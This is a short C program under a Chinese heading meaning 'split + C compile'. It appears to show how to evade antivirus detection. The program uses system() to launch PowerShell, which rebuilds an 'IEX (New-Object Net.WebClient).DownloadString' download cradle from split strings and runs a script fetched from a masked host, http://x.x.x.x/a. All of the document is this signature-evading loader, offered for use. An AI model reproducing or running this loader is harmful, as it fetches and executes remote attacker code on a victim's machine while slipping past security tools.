拆分+C编译

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
return 0;
}